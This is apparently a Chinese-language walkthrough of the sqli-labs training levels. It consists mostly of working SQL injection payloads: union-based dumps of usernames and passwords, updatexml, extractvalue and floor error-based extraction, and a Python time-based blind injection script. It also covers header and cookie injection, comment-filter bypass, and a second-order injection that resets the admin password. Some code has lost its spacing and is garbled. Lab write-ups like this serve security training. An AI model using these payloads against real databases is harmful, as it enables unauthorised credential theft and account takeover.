-1' union select 1,2,group_concat(username,id,password) from users--+
唯一注意点就是查询时要用-1 因为我们要得到union后的结果
level-2
数字型注入
后面过程和level-1一样
1
-1unionselect1,2,group_concat(username,id,password) from users--+
level-3
输入1’ 回显中有个) 说明sql语句里有() 考虑加入) 与前面的( 构成闭合
1’ ) –+构造闭合成功
后面与level-1 level-2 一样
1
-1') union select 1,2,group_concat(username,id,password) from users--+
level-4
双引号和括号构造闭合
1
-1") union select 1,2,group_concat(username,id,password) from users--+
level-5
1’ –+ 没有回显
采用报错注入
1
1' and updatexml(1,concat(0x7e,database()),1) --+ #爆出数据库
1
1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+
1
1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+
1 2
1' and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+ #这里回显的并非全部内容
1 2 3
1' and updatexml(1,concat(0x7e,(select username from users limit ,1)),1) --+ 1'and updatexml(1,concat(0x7e,(select username from users limit 1,1)),1) --+ #用limit一个一个看字段内容
defget_database(url): name = '' for i inrange(1, 100): low = 32 high = 128 while low < high: mid = (low + high) // 2 payload = "admin\") and if(ascii(substr(database(), %d, 1)) > %d, sleep(0.5), 0)#" % (i, mid) params = { "uname": payload, "passwd": "admin", "submit": "Submit" } start_time = time.time() r = requests.post(url, data=params) end_time = time.time()
if end_time - start_time >= 0.5: low = mid + 1 else: high = mid
if low == 32: break
name += chr(low) print(name)
get_database(url)
以此类推
level_17
报错注入or盲注 不多写
报错注入类型补充
extractvalue报错注入
extractvalue(XML_document,XPath_string) 只有两个参数
1 2 3
1' and extractvalue(1,concat(0x7e,database()))# 1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))# 以此类推
floor报错注入
1
1' and (select 1 from (select count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+
1
1' and (select 1 from (select count(*),concat(0x23,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+
levle_18
user_agent注入 报错注入
level_19
referer注入 报错注入
level_20
cookie注入 报错注入 和前文差不多
level_21
cookie注入 不过写入的payload需要base64编码
level_22
cookie注入 不过闭合方式从’ -> “ 仍然要编码
level_23
考点：过滤# –+ 可以考虑用一个表达式构造闭合
1 2 3 4
-1' union select 1,database(),3 and '1' = '1 -1' union select 1,database(),3 or '1' = '1 #第一个'和sql语句的第一个'构成闭合 payload尾的'1和sql语句的'构成闭合 使'1'='1'成立 完美的不用注释符号就构造了闭合 最后语句：-1' union select 1,(select group_concat(username,id,password) from users),3 and '1' = '1
#原语句 UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' #插入 payload 后的语句 UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' #此时 'admin' 后的语句被注释 #真正的生效的语句 UPDATE users SET PASSWORD='$pass' where username='admin' #从而达到了修改用户 admin 密码的目的
?id=1&id=-1' union select 1,database(),3 --+ ?id=1&id=-1'unionselect1,group_concat(table_name),3from information_schema.tables where table_schema=database()--+ 以此类推
